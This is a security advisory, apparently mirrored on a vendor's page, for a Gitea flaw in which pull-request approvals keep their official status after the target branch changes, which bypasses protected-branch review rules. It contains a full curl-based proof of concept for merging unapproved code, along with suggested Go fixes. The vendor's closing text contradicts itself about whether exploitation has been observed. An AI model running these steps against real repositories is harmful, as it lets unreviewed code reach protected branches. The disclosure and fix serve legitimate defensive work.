Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-w5pg-649r-p6gg
No affected components available
Summary
Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.
- Confirmed on Gitea 1.25.4 (
1.25.4+41-g96515c0f20)
Vulnerability Details
Root Cause
When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.
When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:
- Updates
pr.BaseBranch - Recalculates merge feasibility and divergence
- Deletes old push comments
- Creates a "change target branch" comment
But it does not:
- Re-evaluate
officialon existing reviews - Dismiss existing approvals
- Check whether reviewers are in the new target branch's approval whitelist
At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean — it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.
Relevant Code Paths
- Review creation —
services/pull/review.go:SubmitReviewcallsIsOfficialRevieweragainst the currentpr.BaseBranch's protection rules, storesofficial=true/false - Target branch change —
services/pull/pull.go:ChangeTargetBranchmodifiespr.BaseBranchbut does not touch existing reviews - Merge check —
services/pull/check.go:CheckPullMergeable→models/issues/pull.go:GetGrantedApprovalsCountcounts storedofficial=truereviews without re-evaluating against the new branch's whitelist
Prerequisites
The attacker needs:
- Write (push) access to the repository (collaborator with write role, or the ability to create branches — not admin)
- The ability to create pull requests (standard for any user with push access)
- A second account (or any non-admin account) to submit the approval on the unprotected branch
The attacker does not need:
- Admin access
- To be in the approval whitelist for the protected branch
- Any interaction from the branch protection's designated approvers
Proof of Concept
Setup
Repository owner/repo with branch master protected:
- Required approvals: 1
- Approval whitelist enabled, containing only user
admin-reviewer - User
attackerhas write access but is not in the approval whitelist
Steps
BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password" # any non-whitelisted user
# 1. Create an unprotected temporary branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'
# 2. Push a malicious commit to a feature branch
git checkout -b malicious-branch origin/master
echo "malicious payload" > payload.txt
git add payload.txt
git commit -m "innocent looking commit"
git push origin malicious-branch
# 3. Create PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{
"head": "malicious-branch",
"base": "tmp-unprotected",
"title": "Add feature"
}'
# Returns PR #N
# 4. Approve the PR (official=true because tmp-unprotected has no protection)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ACCOMPLICE_AUTH" \
-H "Content-Type: application/json" \
-d '{"event": "APPROVED", "body": "LGTM"}'
# Response includes: "official": true
# 5. Retarget the PR to protected master
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"base": "master"}'
# 6. Verify: approval is still official=true against master
curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ATTACKER_AUTH"
# Response: "official": true, "dismissed": false, "stale": false
# 7. Merge — succeeds despite no whitelisted approver reviewing
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"do": "merge"}'
# Returns 200 OK — malicious commit is now on master
Observed API Responses
Step 4 — Approval on unprotected branch:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}
Step 6 — Same approval after retarget to protected master:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}
The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.
Impact
- Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
- Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements
Suggested Fix
Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:
// After updating the base branch, re-evaluate official status on all reviews
reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
IssueID: pr.IssueID,
Type: issues_model.ReviewTypeApprove,
})
if err != nil {
return err
}
newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)
if err != nil {
return err
}
for _, review := range reviews {
wasOfficial := review.Official
if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {
review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)
} else {
review.Official = false
}
if wasOfficial != review.Official {
if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {
return err
}
}
}
Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):
// Dismiss all approvals when target branch changes
if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
IssueID: pr.IssueID,
Message: "Dismissed: PR target branch changed",
}); err != nil {
return err
}
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard